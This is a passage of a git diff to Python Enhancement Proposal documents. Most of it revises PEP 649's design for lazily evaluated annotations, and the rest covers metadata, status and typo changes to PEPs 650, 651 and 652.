and PEP 563's behavior would -be deprecated and eventually removed. +be gated behind ``from __future__ import co_annotations``. +However, these semantics would eventually be promoted to be +Python's default behavior. Thus this PEP would *supersede* +:pep:`563`, and :pep:`563`'s behavior would be deprecated and +eventually removed. Overview ======== -.. note:: The code presented in this section is highly simplified +.. note:: The code presented in this section is simplified for clarity. The intention is to communicate the high-level concepts involved without getting lost in with the details. The actual details are often quite different. See the Implementation_ section later in this PEP for a much more accurate description of how this PEP works. -Consider this example code:: +Consider this example code: + +.. code-block:: def foo(x: int = 3, y: MyType = None) -> float: ... @@ -68,7 +102,9 @@ fields to the value specified as that field's annotation. The default behavior in Python 3.9 is to evaluate the expressions for the annotations, and build the annotations dict, at the time the function, class, or module is bound. At runtime the above -code actually works something like this:: +code actually works something like this: + +.. code-block:: annotations = {'x': int, 'y': MyType, 'return': float} def foo(x = 3, y = "abc"): @@ -84,9 +120,11 @@ bound, and these values are stored in the annotations dict. But this code doesn't run—it throws a ``NameError`` on the first line, because ``MyType`` hasn't been defined yet. -PEP 563's solution is to decompile the expressions back +:pep:`563`'s solution is to decompile the expressions back into strings, and store those *strings* in the annotations dict. -The equivalent runtime code would look something like this:: +The equivalent runtime code would look something like this: + +.. code-block:: annotations = {'x': 'int', 'y': 'MyType', 'return': 'float'} def foo(x = 3, y = "abc"): @@ -106,7 +144,9 @@ object. This PEP proposes a third approach, delaying the evaluation of the annotations by computing them in their own function. If this PEP was active, the generated code would work something -like this:: +like this: + +.. code-block:: class function: # __annotations__ on a function object is already a @@ -128,11 +168,13 @@ like this:: The important change is that the code constructing the annotations dict now lives in a function—here, called -``foo_annotations__fn()``. But this function isn't called +``foo_annotations_fn()``. But this function isn't called until we ask for the value of ``foo.__annotations__``, and we don't do that until *after* the definition of ``MyType``. So this code also runs successfully, and ``foo_y_type`` now -has the correct value, the class ``MyType``. +has the correct value--the class ``MyType``--even though +``MyType`` wasn't defined until *after* the annotation was +defined. Motivation @@ -140,10 +182,10 @@ Motivation Python's original semantics for annotations made its use for static type analysis painful due to forward reference problems. -This was the main justification for PEP 563, and we need not +This was the main justification for :pep:`563`, and we need not revisit those arguments here. -However, PEP 563's solution was to decompile code for Python +However, :pep:`563`'s solution was to decompile code for Python annotations back into strings at compile time, requiring users of annotations to ``eval()`` those strings to restore them to their actual Python values. This has several drawbacks: @@ -154,75 +196,80 @@ them to their actual Python values. This has several drawbacks: to CPython was complicated, and this complicated code would need to be reimplemented independently by every other Python implementation. +* It requires that all annotations be evaluated at module-level + scope. Annotations under :pep:`563` can no longer refer to + * class variables, + * local variables in the current function, or + * local variables in enclosing functions. * It requires a code change every time existing code uses an annotation, to handle converting the stringized annotation back into a useful value. * ``eval()`` is slow. * ``eval()`` isn't always available; it's sometimes removed from Python for space reasons. -* In order to evaluate the annotations stored with a class, +* In order to evaluate the annotations on a class, it requires obtaining a reference to that class's globals, - which PEP 563 suggests should be done by looking up that class + which :pep:`563` suggests should be done by looking up that class by name in ``sys.modules``—another surprising requirement for a language-level feature. * It adds an ongoing maintenance burden to Python implementations. Every time the language adds a new feature available in expressions, the implementation's stringizing code must be updated in - tandem to support decompiling it. + tandem in order to support decompiling it. This PEP also solves the forward reference problem outlined in -PEP 563 while avoiding the problems listed above: +:pep:`563` while avoiding the problems listed above: * Python implementations would generate annotations as code objects. This is simpler than stringizing, and is something Python implementations are already quite good at. This means: - - - alternate implementations would need to write less code - to implement this feature, and + - alternate implementations would need to write less code to + implement this feature, and - the implementation would be simpler overall, which should - reduce its ongoing maintenance cost. - + reduce its ongoing maintenance cost. +* Existing annotations would not need to be changed to only + use global scope. Actually, annotations would become much + easier to use, as they would now also handle forward + references. * Code examining annotations at runtime would no longer need to use ``eval()`` or anything else—it would automatically - get the correct values. This is easier, almost certainly - faster, and removes the dependency on ``eval()``. + see the correct values. This is easier, faster, and + removes the dependency on ``eval()``. Backwards Compatibility ======================= -PEP 563 changed the semantics of annotations. When its semantics -are active, annotations must assume they will be evaluated in +:pep:`563` changed the semantics of annotations. When its semantics +are active, annotations must assume they will be evaluated in *module-level* scope. They may no longer refer directly -to local variables or class attributes. This PEP retains that -semantic change, also requiring that annotations be evaluated in -*module-level* scope. Thus, code changed so its annotations are -compatible with PEP 563 should *already* compatible with this -aspect of this PEP and would not need further change. Modules -still using stock semantics would have to be revised so its -annotations evaluate properly in module-level scope, in the same -way they would have to be to achieve compatibility with PEP 563. - -PEP 563 also requires using ``eval()`` or ``typing.get_type_hints()`` -to examine annotations. Code updated to work with PEP 563 that calls +to local variables or class attributes. + +This PEP removes that restriction; annotations may refer to globals, +local variables inside functions, local variables defined in enclosing +functions, and class members in the current class. In addition, +annotations may refer to any of these that haven't been defined yet +at the time the annotation is defined, as long as the not-yet-defined +name is created normally (in such a way that it is known to the symbol +table for the relevant block, or is a global or class variable found +using normal name resolution). Thus, this PEP demonstrates *improved* +backwards compatibility over :pep:`563`. + +:pep:`563` also requires using ``eval()`` or ``typing.get_type_hints()`` +to examine annotations. Code updated to work with :pep:`563` that calls ``eval()`` directly would have to be updated simply to remove the ``eval()`` call. Code using ``typing.get_type_hints()`` would continue to work unchanged, though future use of that function would become optional in most cases. -Because this PEP makes the same backwards-compatible change -to annotation scoping as PEP 563, this PEP will be initially gated -with a per-module ``from __future__ import co_annotations`` -before it eventually becomes the default behavior. - -Apart from these two changes already discussed: - -* the evaluation of values in annotation dicts will be - delayed until the ``__annotations__`` attribute is evaluated, and -* annotations are now evaluated in module-level scope, +Because this PEP makes semantic changes to how annotations are +evaluated, this PEP will be initially gated with a per-module +``from __future__ import co_annotations`` before it eventually +becomes the default behavior. -this PEP preserves nearly all existing behavior of annotations -dicts. Specifically: +Apart from the delay in evaluating values stored in annotations +dicts, this PEP preserves nearly all existing behavior of +annotations dicts. Specifically: * Annotations dicts are mutable, and any changes to them are preserved. @@ -233,7 +280,7 @@ dicts. Specifically: However, there are two uncommon interactions possible with class and module annotations that work today—both with stock semantics, -and with PEP 563 semantics—that would no longer work when this PEP +and with :pep:`563` semantics—that would no longer work when this PEP was active. These two interactions would have to be prohibited. The good news is, neither is common, and neither is considered good practice. In fact, they're rarely seen outside of Python's own @@ -251,7 +298,7 @@ regression test suite. They are: code simply creates a local ``__annotations__`` dict, then sets mappings in it as needed. It's also possible for user code to directly modify this dict, though this doesn't seem like it's - an intentional feature. Although it'd be possible to support + an intentional feature. Although it would be possible to support this after a fashion when this PEP was active, the semantics would likely be surprising and wouldn't make anyone happy. @@ -261,10 +308,40 @@ declare that both are at the very least unsupported, and their use results in undefined behavior. It might be worth making a small effort to explicitly prohibit them with compile-time checks. -There's one more idiom that's actually somewhat common when -dealing with class annotations, and which will become -more problematic when this PEP is active: code often accesses -class annotations via ``cls.__dict__.get("__annotations__", {})`` +In addition, there are a few operators that would no longer be +valid for use in annotations, because their side effects would +affect the *annotation function* instead of the +class/function/module the annotation was nominally defined in: + +* ``:=`` (aka the "walrus operator"), +* ``yield`` and ``yield from``, and +* ``await``. + +Use of any of these operators in an annotation will result in a +compile-time error. + +Since delaying the evaluation of annotations until they are +evaluated changes the semantics of the language, it's observable +from within the language. Therefore it's possible to write code +that behaves differently based on whether annotations are +evaluated at binding time or at access time, e.g. + +.. code-block:: + + mytype = str + def foo(a:mytype): pass + mytype = int + print(foo.__annotations__['a']) + +This will print ```` with stock semantics +and ```` when this PEP is active. Since +this is poor programming style to begin with, it seems +acceptable that this PEP changes its behavior. + +Finally, there's a standard idiom that's actually somewhat common +when accessing class annotations, and which will become more +problematic when this PEP is active: code often accesses class +annotations via ``cls.__dict__.get("__annotations__", {})`` rather than simply ``cls.__annotations__``. It's due to a flaw in the original design of annotations themselves. This topic will be examined in a separate discussion; the outcome of @@ -275,7 +352,7 @@ PEP. Mistaken Rejection Of This Approach In November 2017 ==================================================== -During the early days of discussion around PEP 563, +During the early days of discussion around :pep:`563`, using code to delay the evaluation of annotations was briefly discussed, in a November 2017 thread in ``comp.lang.python-dev``. At the time the @@ -289,18 +366,17 @@ module-level scope: IMO the inability of referencing class-level definitions from annotations on methods pretty much kills this idea. - https://mail.python.org/pipermail/python-dev/2017-November/150109.html +https://mail.python.org/pipermail/python-dev/2017-November/150109.html This led to a short discussion about extending lambda-ized annotations for methods to be able to refer to class-level -definitions, by maintaining a reference to the class-level scope. -This idea, too, was quickly rejected. - -PEP 563 summarizes the above discussion here: +definitions, by maintaining a reference to the class-level +scope. This idea, too, was quickly rejected. - https://www.python.org/dev/peps/pep-0563/#keeping-the-ability-to-use-function-local-state-when-defining-annotations +:pep:`PEP 563 summarizes the above discussion +<563#keeping-the-ability-to-use-function-local-state-when-defining-annotations>` -What's puzzling is PEP 563's own changes to the scoping rules +What's puzzling is :pep:`563`'s own changes to the scoping rules of annotations—it *also* doesn't permit annotations to reference class-level definitions. It's not immediately clear why an inability to reference class-level definitions was enough to @@ -308,20 +384,15 @@ reject using "implicit lambda expressions" for annotations, but was acceptable for stringized annotations. In retrospect there was probably a pivot during the development -of PEP 563. It seems that, early on, there was a prevailing -assumption that PEP 563 would support references to class-level -definitions. But by the time PEP 563 was finalized, this +of :pep:`563`. It seems that, early on, there was a prevailing +assumption that :pep:`563` would support references to class-level +definitions. But by the time :pep:`563` was finalized, this assumption had apparently been abandoned. And it looks like "implicit lambda expressions" were never reconsidered in this new light. -PEP 563 semantics have shipped in three major Python releases. -These semantics are now widely used in organizations depending -on static type analysis. Evaluating annotations at module-level -scope is clearly acceptable to all interested parties. Therefore, -delayed evaluation of annotations with code using the same scoping -rules is obviously also completely viable. - +In any case, annotations are still able to refer to class-level +definitions under this PEP, rendering the objection moot. .. _Implementation: @@ -330,18 +401,21 @@ Implementation There's a prototype implementation of this PEP, here: - https://github.com/larryhastings/co_annotations/ +https://github.com/larryhastings/co_annotations/ As of this writing, all features described in this PEP are implemented, and there are some rudimentary tests in the test suite. There are still some broken tests, and the -repo is many months behind. +``co_annotations`` repo is many months behind the +CPython repo. from __future__ import co_annotations ------------------------------------- -In the prototype, the semantics presented in this PEP are gated with:: +In the prototype, the semantics presented in this PEP are gated with: + +.. code-block:: from __future__ import co_annotations @@ -356,7 +430,9 @@ implement this PEP is much the same for all three with only minor variations. With this PEP, each of these types adds a new attribute, -``__co_annotations__``, with the following semantics: +``__co_annotations__``. ``__co_annotations__`` is a function: +it takes no arguments, and must return either ``None`` or a dict +(or subclass of dict). It adds the following semantics: * ``__co_annotations__`` is always set, and may contain either ``None`` or a callable. @@ -372,13 +448,15 @@ With this PEP, each of these types adds a new attribute, Internally, ``__co_annotations__`` is a "data descriptor", where functions are called whenever user code gets, sets, or deletes the attribute. In all three cases, the object -has a separate internal place to store the current value +has separate internal storage for the current value of the ``__co_annotations__`` attribute. -``__annotations__`` is also reimplemented as a data descriptor, -with its own separate internal storage for its internal value. -The code implementing the "get" for ``__annotations__`` works -something like this:: +``__annotations__`` is also as a data descriptor, with its own +separate internal storage for its internal value. The code +implementing the "get" for ``__annotations__`` works something +like this: + +.. code-block:: if (the internal value is set) return the internal annotations dict @@ -397,38 +475,38 @@ Unbound code objects When Python code defines one of these three objects with annotations, the Python compiler generates a separate code object which builds and returns the appropriate annotations -dict. The "annotation code object" is then stored *unbound* -as the internal value of ``__co_annotations__``; it is then -bound on demand when the user asks for ``__annotations__``. +dict. Wherever possible, the "annotation code object" is +then stored *unbound* as the internal value of +``__co_annotations__``; it is then bound on demand when +the user asks for ``__annotations__``. -This is an important optimization, for both speed and -memory consumption. Python processes rarely examine -annotations at runtime. Therefore, pre-binding these -code objects to function objects would be a waste of -resources in nearly all cases. +This is a useful optimization for both speed and memory +consumption. Python processes rarely examine annotations +at runtime. Therefore, pre-binding these code objects to +function objects would usually be a waste of resources. -Note that user code isn't permitted to see these unbound code -objects. If the user gets the value of ``__co_annotations__``, -and the internal value of ``__co_annotations__`` is an unbound -code object, it is bound, and the resulting function object is -stored as the new value of ``__co_annotations__``. +When is this optimization not possible? +* When an annotation function contains references to + free variables, in the current function or in an + outer function. +* When an annotation function is defined on a method + (a function defined inside a class) and the annotations + possibly refer directly to class variables. -The annotations function ------------------------- +Note that user code isn't permitted to directly access these +unbound code objects. If the user "gets" the value of +``__co_annotations__``, and the internal value of +``__co_annotations__`` is an unbound code object, +it immediately binds the code object, and the resulting +function object is stored as the new value of +``__co_annotations__`` and returned. -Annotations functions take no arguments and -must return either None or a dict (or subclass of dict). +(However, these unbound code objects *are* stored in the +``.pyc`` file. So a determined user could examine them +should that be necessary for some reason.) -The bytecode generated for annotations code objects -always uses the ``BUILD_CONST_KEY_MAP`` opcode to build the -dict. Stock and PEP 563 semantics only uses this bytecode -for function annotations; for class and module annotations, -they generate a longer and slightly-less-efficient stanza -of bytecode. -Also, when generating the bytecode for an annotations code -object, all ``LOAD_*`` opcodes are forced to be ``LOAD_GLOBAL``. Function Annotations @@ -436,13 +514,13 @@ Function Annotations When compiling a function, the CPython bytecode compiler visits the annotations for the function all in one place, -starting with ``compiler_visit_annotations()``. If there -are any annotations, they create the scope for the annotations -function on demand, and ``compiler_visit_annotations()`` -assembles it. +starting with ``compiler_visit_annotations()`` in ``compile.c``. +If there are any annotations, they create the scope for +the annotations function on demand, and +``compiler_visit_annotations()`` assembles it. -The code object is passed in in place of the -annotations dict for the ``MAKE_FUNCTION`` bytecode. +The code object is passed in place of the annotations dict +for the ``MAKE_FUNCTION`` bytecode instruction. ``MAKE_FUNCTION`` supports a new bit in its oparg bitfield, ``0x10``, which tells it to expect a ``co_annotations`` code object on the stack. @@ -453,12 +531,11 @@ When binding an unbound annotation code object, a function will use its own ``__globals__`` as the new function's globals. One quirk of Python: you can't actually remove the annotations -from a function object. -If you delete the ``__annotations__`` attribute of a function, -then get its ``__annotations__`` member, +from a function object. If you delete the ``__annotations__`` +attribute of a function, then get its ``__annotations__`` member, it will create an empty dict and use that as its -``__annotations__``. Naturally the implementation of this -PEP maintains this quirk. +``__annotations__``. The implementation of this PEP maintains +this quirk for backwards compatibility. Class Annotations @@ -510,8 +587,109 @@ The main difference is, a module uses its own dict as the ``__globals__`` when binding the function. If you delete the ``__annotations__`` attribute of a class, -then get its ``__annotations__`` member, -the module will raise ``AttributeError``. +then get its ``__annotations__`` member, the module will +raise ``AttributeError``. + +Annotations With Closures +------------------------- + +It's possible to write annotations that refer to +free variables, and even free variables that have yet +to be defined. For example: + +.. code-block:: + + from __future__ import co_annotations + + def outer(): + def middle(): + def inner(a:mytype, b:mytype2): pass + mytype = str + return inner + mytype2 = int + return middle() + + fn = outer() + print(fn.__annotations__) + +At the time ``fn`` is set, ``inner.__co_annotations__()`` +hasn't been run. So it has to retain a reference to +the *future* definitions of ``mytype`` and ``mytype2`` if +it is to correctly evaluate its annotations. + +If an annotation function refers to a local variable +from the current function scope, or a free variable +from an enclosing function scope--if, in CPython, the +annotation function code object contains one or more +``LOAD_DEREF`` opcodes--then the annotation code object +is bound at definition time with references to these +variables. ``LOAD_DEREF`` instructions require the annotation +function to be bound with special run-time information +(in CPython, a ``freevars`` array). Rather than store +that separately and use that to later lazy-bind the +function object, the current implementation simply +early-binds the function object. + +Note that, since the annotation function ``inner.__co_annotations__()`` +is defined while parsing ``outer()``, from Python's perspective +the annotation function is a "nested function". So "local +variable inside the 'current' function" and "free variable +from an enclosing function" are, from the perspective of +the annotation function, the same thing. + + +Annotations That Refer To Class Variables +----------------------------------------- + +It's possible to write annotations that refer to +class variables, and even class variables that haven't +yet been defined. For example: + +.. code-block:: + + from __future__ import co_annotations + + class C: + def method(a:mytype): pass + mytype = str + + print(C.method.__annotations__) + +Internally, annotation functions are defined as +a new type of "block" in CPython's symbol table +called an ``AnnotationBlock``. An ``AnnotationBlock`` +is almost identical to a ``FunctionBlock``. It differs +in that it's permitted to see names from an enclosing +class scope. (Again: annotation functions are functions, +and they're defined *inside* the same scope as +the thing they're being defined on. So in the above +example, the annotation function for ``C.method()`` +is defined inside ``C``.) + +If it's possible that an annotation function refers +to class variables--if all these conditions are true: + +* The annotation function is being defined inside + a class scope. +* The generated code for the annotation function + has at least one ``LOAD_NAME`` instruction. + +Then the annotation function is bound at the time +it's set on the class/function, and this binding +includes a reference to the class dict. The class +dict is pushed on the stack, and the ``MAKE_FUNCTION`` +bytecode instruction takes a new second bitfield (0x20) +indicating that it should consume that stack argument +and store it as ``__locals__`` on the newly created +function object. + +Then, at the time the function is executed, the +``f_locals`` field of the frame object is set to +the function's ``__locals__``, if set. This permits +``LOAD_NAME`` opcodes to work normally, which means +the code generated for annotation functions is nearly +identical to that generated for conventional Python +functions. Interactive REPL Shell @@ -532,19 +710,23 @@ But it gets complicated quickly, and for a nearly-non-existent use case.) -Local Annotations Inside Functions ----------------------------------- +Annotations On Local Variables Inside Functions +----------------------------------------------- Python supports syntax for local variable annotations inside -functions. However, these annotations have no runtime effect. -Thus this PEP doesn't need to do anything to support them. +functions. However, these annotations have no runtime +effect--they're discarded at compile-time. Therefore, this +PEP doesn't need to do anything to support them, the same +as stock semantics and :pep:`563`. -Performance ------------ -Performance with this PEP should be favorable. In general, -resources are only consumed on demand—"you only pay for what you use". +Performance Comparison +---------------------- + +Performance with this PEP should be favorable, when compared with either +stock behavior or :pep:`563`. In general, resources are only consumed +on demand—"you only pay for what you use". There are three scenarios to consider: @@ -553,7 +735,7 @@ There are three scenarios to consider: * the runtime cost when annotations are defined *and* referenced. We'll examine each of these scenarios in the context of all three -semantics for annotations: stock, PEP 563, and this PEP. +semantics for annotations: stock, :pep:`563`, and this PEP. When there are no annotations, all three semantics have the same runtime cost: zero. No annotations dict is created and no code is @@ -561,43 +743,167 @@ generated for it. This requires no runtime processor time and consumes no memory. When annotations are defined but not referenced, the runtime cost -of Python with this PEP should be slightly faster than either -original Python semantics or PEP 563 semantics. With those, the -annotations dicts are built but never examined; with this PEP, -the annotations dicts won't even be built. All that happens at -runtime is the loading of a single constant (a simple code -object) which is then set as an attribute on an object. Since -the annotations are never referenced, the code object is never -bound to a function, the code to create the dict is never -executed, and the dict is never constructed. +of Python with this PEP should be roughly equal to or slightly better +than :pep:`563` semantics, and slightly better than "stock" Python +semantics. The specifics depend on the object being annotated: + +* With stock semantics, the annotations dict is always built, and + set as an attribute of the object being annotated. +* In :pep:`563` semantics, for function objects, a single constant + (a tuple) is set as an attribute of the function. For class and + module objects, the annotations dict is always built and set as + an attribute of the class or module. +* With this PEP, a single object is set as an attribute of the + object being annotated. Most often, this object is a constant + (a code object). In cases where the annotation refers to local + variables or class variables, the code object will be bound to + a function object, and the function object is set as the attribute + of the object being annotated. When annotations are both defined and referenced, code using -this PEP should be much faster than code using PEP 563 semantics, -and roughly the same as original Python semantics. PEP 563 -semantics requires invoking ``eval()`` for every value inside -an annotations dict, which is much slower. And, as already -mentioned, this PEP generates more efficient bytecode for class -and module annotations than either stock or PEP 563 semantics. +this PEP should be much faster than code using :pep:`563` semantics, +and equivalent to or slightly improved over original Python +semantics. :pep:`563` semantics requires invoking ``eval()`` for +every value inside an annotations dict, which is enormously slow. +And, as already mentioned, this PEP generates measurably more +efficient bytecode for class and module annotations than stock +semantics; for function annotations, this PEP and stock semantics +should be roughly equivalent. Memory use should also be comparable in all three scenarios across all three semantic contexts. In the first and third scenarios, memory usage should be roughly equivalent in all cases. In the second scenario, when annotations are defined but not referenced, using this PEP's semantics will mean the -function/class/module will store one unused code object; with -the other two semantics, they'll store one unused dictionary. +function/class/module will store one unused code object (possibly +bound to an unused function object); with the other two semantics, +they'll store one unused dictionary (or constant tuple). + +Bytecode Comparison +------------------- + +The bytecode generated for annotations functions with +this PEP uses the efficient ``BUILD_CONST_KEY_MAP`` opcode +to build the dict for all annotatable objects: +functions, classes, and modules. + +Stock semantics also uses ``BUILD_CONST_KEY_MAP`` bytecode +for function annotations. :pep:`563` has an even more efficient +method for building annotations dicts on functions, leveraging +the fact that its annotations dicts only contain strings for +both keys and values. At compile-time it constructs a tuple +containing pairs of keys and values at compile-time, then +at runtime it converts that tuple into a dict on demand. +This is a faster technique than either stock semantics +or this PEP can employ, because in those two cases +annotations dicts can contain Python values of any type. +Of course, this performance win is negated if the +annotations are examined, due to the overhead of ``eval()``. + +For class and module annotations, both stock semantics +and :pep:`563` generate a longer and slightly-less-efficient +stanza of bytecode, creating the dict and setting the +annotations individually. For Future Discussion ===================== -__globals__ ------------ +Circular Imports +---------------- + +There is one unfortunately-common scenario where :pep:`563` +currently provides a better experience, and it has to do +with large code bases, with circular dependencies and +imports, that examine their annotations at run-time. + +:pep:`563` permitted defining *and examining* invalid +expressions as annotations. Its implementation requires +annotations to be legal Python expressions, which it then +converts into strings at compile-time. But legal Python +expressions may not be computable at runtime, if for +example the expression references a name that isn't defined. +This is a problem for stringized annotations if they're +evaluated, e.g. with ``typing.get_type_hints()``. But +any stringized annotation may be examined harmlessly at +any time--as long as you don't evaluate it, and only +examine it as a string. + +Some large organizations have code bases that unfortunately +have circular dependency problems with their annotations--class +A has methods annotated with class B, but class B has methods +annotated with class A--that can be difficult to resolve. +Since :pep:`563` stringizes their annotations, it allows them +to leave these circular dependencies in place, and they can +sidestep the circular import problem by never importing the +module that defines the types used in the annotations. Their +annotations can no longer be evaluated, but this appears not +to be a concern in practice. They can then examine the +stringized form of the annotations at runtime and this seems +to be sufficient for their needs. + +This PEP allows for many of the same behaviors. +Annotations must be legal Python expressions, which +are compiled into a function at compile-time. +And if the code never examines an annotation, it won't +have any runtime effect, so here too annotations can +harmlessly refer to undefined names. (It's exactly +like defining a function that refers to undefined +names--then never calling that function. Until you +call the function, nothing bad will happen.) + +But examining an annotation when this PEP is active +means evaluating it, which means the names evaluated +in that expression must be defined. An undefined name +will throw a ``NameError`` in an annotation function, +just as it would with a stringized annotation passed +in to ``typing.get_type_hints()``, and just like any +other context in Python where an expression is evaluated. + +In discussions we have yet to find a solution to this +problem that makes all the participants in the +conversation happy. There are various avenues to explore +here: + +* One workaround is to continue to stringize one's + annotations, either by hand or done automatically + by the Python compiler (as it does today with + ``from __future__ import annotations``). This might + mean preserving Python's current stringizing annotations + going forward, although leaving it turned off by default, + only available by explicit request (though likely with + a different mechanism than + ``from __future__ import annotations``). +* Another possible workaround involves importing + the circularly-dependent modules separately, then + externally adding ("monkey-patching") their dependencies + to each other after the modules are loaded. As long + as the modules don't examine their annotations until + after they are completely loaded, this should work fine + and be maintainable with a minimum of effort. +* A third and more radical approach would be to change the + semantics of annotations so that they don't raise a + ``NameError`` when an unknown name is evaluated, + but instead create some sort of proxy "reference" object. +* Of course, even if we do deprecate :pep:`563`, it will be + several releases before the functionality is removed, + giving us several years in which to research and innovate + new solutions for this problem. + +In any case, the participants of the discussion agree that +this PEP should still move forward, even as this issue remains +currently unresolved [1]_. + +.. [1] https://github.com/larryhastings/co_annotations/issues/1 + + +cls.__globals__ and fn.__locals__ +--------------------------------- Is it permissible to add the ``__globals__`` reference to class objects as proposed here? It's not clear why this hasn't already -been done; PEP 563 could have made use of class globals, but instead -makes do with looking up classes inside ``sys.modules``. Yet Python +been done; :pep:`563` could have made use of class globals, but instead +made do with looking up classes inside ``sys.modules``. Python seems strangely allergic to adding a ``__globals__`` reference to class objects. @@ -618,7 +924,7 @@ implementation of this PEP: much more costly for function objects, even as annotations are rarely used at runtime.) * Use the class's ``__module__`` attribute to look up its module - by name in ``sys.modules``. This is what PEP 563 advises. + by name in ``sys.modules``. This is what :pep:`563` advises. While this is passable for userspace or library code, it seems like a little bit of a code smell for this to be defined semantics baked into the language itself. @@ -632,6 +938,11 @@ anyway, and not make it visible to the user (via this new __globals__ attribute). There's possibly already a good place to put it anyway--``ht_module``. +Similarly, this PEP adds one new dunder member to functions, +classes, and modules (``__co_annotations__``), and a second new +dunder member to functions (``__locals__``). This might be +considered excessive. + Bikeshedding the name --------------------- @@ -649,12 +960,19 @@ perhaps the name of the attribute and the name of the Acknowledgements ================ -Thanks to Barry Warsaw, Eric V. Smith, and Mark Shannon -for feedback and encouragement. Thanks in particular to -Mark Shannon for two key suggestions—build the entire -annotations dict inside a single code object, and only -bind it to a function on demand—that quickly became -among the best aspects of this proposal. +Thanks to Barry Warsaw, Eric V. Smith, Mark Shannon, +and Guido van Rossum for feedback and encouragement. +Thanks in particular to Mark Shannon for two key +suggestions—build the entire annotations dict inside +a single code object, and only bind it to a function +on demand—that quickly became among the best aspects +of this proposal. Also, thanks in particular to Guido +van Rossum for suggesting that ``__co_annotations__`` +functions should duplicate the name visibility rules of +annotations under "stock" semantics--this resulted in +a sizeable improvement to the second draft. Finally, +special thanks to Jelle Zijlstra, who contributed not +just feedback--but code! Copyright @@ -664,7 +982,6 @@ This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive. - .. Local Variables: mode: indented-text diff --git a/pep-0650.rst b/pep-0650.rst index dec2ee7171e..b1cbac06814 100644 --- a/pep-0650.rst +++ b/pep-0650.rst @@ -4,11 +4,12 @@ Author: Vikram Jayanthi , Dustin Ingram , Brett Cannon Discussions-To: https://discuss.python.org/t/pep-650-specifying-installer-requirements-for-python-projects/6657 -Status: Draft -Type: Process +Status: Withdrawn +Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 16-Jul-2020 -Post-History: 2021-01-14 +Post-History: 14-Jan-2021 Abstract diff --git a/pep-0651.rst b/pep-0651.rst index a2f282e2f37..a48715cdb70 100644 --- a/pep-0651.rst +++ b/pep-0651.rst @@ -1,13 +1,20 @@ PEP: 651 Title: Robust Stack Overflow Handling Author: Mark Shannon -Status: Draft +Status: Rejected Type: Standards Track Content-Type: text/x-rst Created: 18-Jan-2021 Post-History: 19-Jan-2021 +Rejection Notice +================ + +This PEP has been `rejected by the Python Steering Council +`_. + + Abstract ======== @@ -41,7 +48,7 @@ Motivation CPython uses a single recursion depth counter to prevent both runaway recursion and C stack overflow. However, runaway recursion and machine stack overflow are two different things. -Allowing machine stack overflow is a potential security vulnerability, but limiting recursion depth can prevent the +Allowing machine stack overflow is a potential security vulnerability, but limiting recursion depth can prevent the use of some algorithms in Python. Currently, if a program needs to deeply recurse it must manage the maximum recursion depth allowed, @@ -89,7 +96,7 @@ so any code that handles ``RecursionError`` will continue to work as before. Decoupling the Python stack from the C stack -------------------------------------------- -In order to provide the above guarantees and ensure that any program that worked previously +In order to provide the above guarantees and ensure that any program that worked previously continues to do so, the Python and C stack will need to be separated. That is, calls to Python functions from Python functions, should not consume space on the C stack. Calls to and from builtin functions will continue to consume space on the C stack. @@ -109,7 +116,7 @@ Other Implementations Other implementations are required to fail safely regardless of what value the recursion limit is set to. If the implementation couples the Python stack to the underlying VM or hardware stack, -then it should raise a ``RecursionOverflow`` exception when the recursion limit is exceeded, +then it should raise a ``RecursionOverflow`` exception when the recursion limit is exceeded, but the underlying stack does not overflow. If the underlying stack overflows, or is near to overflow, then a ``StackOverflow`` exception should be raised. @@ -141,12 +148,12 @@ PyLeaveRecursiveCall() Backwards Compatibility ======================= -This feature is fully backwards compatibile at the Python level. +This feature is fully backwards compatible at the Python level. Some low-level tools, such as machine-code debuggers, will need to be modified. For example, the gdb scripts for Python will need to be aware that there may be more than one Python frame per C frame. -C code that uses the ``Py_EnterRecursiveCall()``, ``PyLeaveRecursiveCall()`` pair of +C code that uses the ``Py_EnterRecursiveCall()``, ``PyLeaveRecursiveCall()`` pair of functions will continue to work correctly. In addition, ``Py_EnterRecursiveCall()`` may raise a ``StackOverflow`` exception. @@ -185,9 +192,9 @@ We need to determine a safe bounds for the stack, which is not something possibl For major platforms, the platform specific API will be used to provide an accurate stack bounds. However, for minor platforms some amount of guessing may be required. -While this might sound bad, it is no worse than the current situation, where we guess that the +While this might sound bad, it is no worse than the current situation, where we guess that the size of the C stack is at least 1000 times the stack space required for the chain of calls from -``_PyEval_EvalFrameDefault`` to ``_PyEval_EvalFrameDefault``. +``_PyEval_EvalFrameDefault`` to ``_PyEval_EvalFrameDefault``. This means that in some cases the amount of recursion possible may be reduced. In general, however, the amount of recursion possible should be increased, as many calls will use no C stack. diff --git a/pep-0652.rst b/pep-0652.rst index 5f0c72f7009..5f509aeaf8c 100644 --- a/pep-0652.rst +++ b/pep-0652.rst @@ -2,11 +2,12 @@ PEP: 652 Title: Maintaining the Stable ABI Author: Petr Viktorin Discussions-To: https://discuss.python.org/t/pre-pep-maintaining-the-stable-abi/6986/ -Status: Draft +Status: Final Type: Standards Track Content-Type: text/x-rst Created: 09-Feb-2021 Python-Version: 3.10 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/message/IN4XMFLQJ6D6V67EXU27GV3QWSEHHNNH/ Abstract @@ -36,9 +37,9 @@ In theory, this brings several advantages: details, this API is becoming a viable target for alternate Python implementations that would be incompatible with the full C API. -However, in hindsight, PEP 384 and its implementation has several issues: +However, in hindsight, :pep:`384` and its implementation has several issues: -* It is ill-defined. According to PEP 384, functions are *opt-out*: +* It is ill-defined. According to :pep:`384`, functions are *opt-out*: all functions not specially marked are part of the Stable ABI. In practice, for Windows there's a list that's *opt-in*. For users there is a ``#define`` that should make only the Stable ABI @@ -70,7 +71,7 @@ but has major issues: for example, the set exported symbols has platform-specific variations. Also, the cost of updating an explicit manifest is small compared to the overall work that should go into changing API that will need to -be suppported forever (or until Python 3 reaches end of life, if that +be supported forever (or until Python 3 reaches end of life, if that comes sooner). This PEP proposes automatically generating things *from* the manifest: @@ -202,7 +203,7 @@ The format of the manifest will be subject to change whenever needed. It should be consumed only by scripts in the CPython repository. If a stable list is needed, a script can be added to generate it. -The following wil be generated from the ABI manifest: +The following will be generated from the ABI manifest: * Source for the Windows shared library, ``PC/python3dll.c``. * Input for documentation (see below). @@ -344,7 +345,8 @@ Procedure: Advice for Extenders and Embedders ---------------------------------- -The following notes will be added to documentation. +The following notes will be added to documentation, along with better +information regarding this topic and what guarantees do we offer: Extension authors should test with all Python versions they support, and preferably build with the lowest 